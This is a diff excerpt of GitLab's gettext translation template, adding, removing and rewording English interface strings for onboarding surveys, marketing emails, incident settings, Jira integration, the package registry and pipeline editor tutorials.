+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16588,9 +16845,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16744,6 +16998,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16996,6 +17253,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17029,6 +17289,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17041,9 +17304,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17056,6 +17328,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17182,6 +17457,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17221,6 +17499,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17236,10 +17517,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17275,9 +17556,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17353,6 +17643,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17392,6 +17685,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17431,6 +17727,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17446,9 +17745,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17578,7 +17874,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17777,10 +18073,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17858,7 +18154,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18044,7 +18340,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18278,6 +18574,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18347,12 +18646,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18380,6 +18673,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18425,6 +18739,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18527,6 +18844,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18536,6 +18856,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18569,13 +18895,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18599,7 +18925,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18674,6 +19000,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18689,10 +19018,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18779,7 +19108,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18827,6 +19156,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18842,6 +19183,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18935,6 +19279,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18968,6 +19315,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18995,9 +19345,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -19034,6 +19405,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19278,18 +19652,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19461,6 +19829,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19497,6 +19871,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19999,7 +20376,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20257,6 +20634,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20344,6 +20724,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20539,6 +20922,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20590,9 +20976,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20881,10 +21264,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20987,6 +21370,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21161,10 +21547,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21423,6 +21809,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21555,6 +21947,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21582,6 +21977,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21751,9 +22149,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21853,9 +22248,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22205,7 +22597,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22232,6 +22624,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22445,6 +22840,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22779,6 +23177,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23161,7 +23562,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23260,7 +23661,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23326,6 +23727,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23353,6 +23757,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23395,6 +23802,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23416,6 +23826,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23467,9 +23880,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23479,6 +23901,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23494,6 +23919,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23539,6 +23967,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23551,12 +23982,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23653,7 +24078,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23668,6 +24093,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23719,6 +24147,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23854,6 +24285,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23932,6 +24366,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23986,6 +24423,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24052,6 +24537,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24109,6 +24597,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24130,6 +24621,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24184,6 +24678,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24214,9 +24711,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24514,9 +25008,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24553,6 +25053,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24562,6 +25065,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24595,9 +25101,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24625,6 +25128,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24781,6 +25287,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25135,7 +25644,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25393,6 +25902,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25546,9 +26058,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26023,9 +26532,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26077,12 +26583,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26095,6 +26595,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26107,9 +26610,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -26125,10 +26625,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -26137,9 +26637,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26887,9 +27384,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26899,6 +27393,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26999,7 +27496,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27234,9 +27731,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27252,6 +27746,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28211,6 +28708,18 @@ msgstr ""
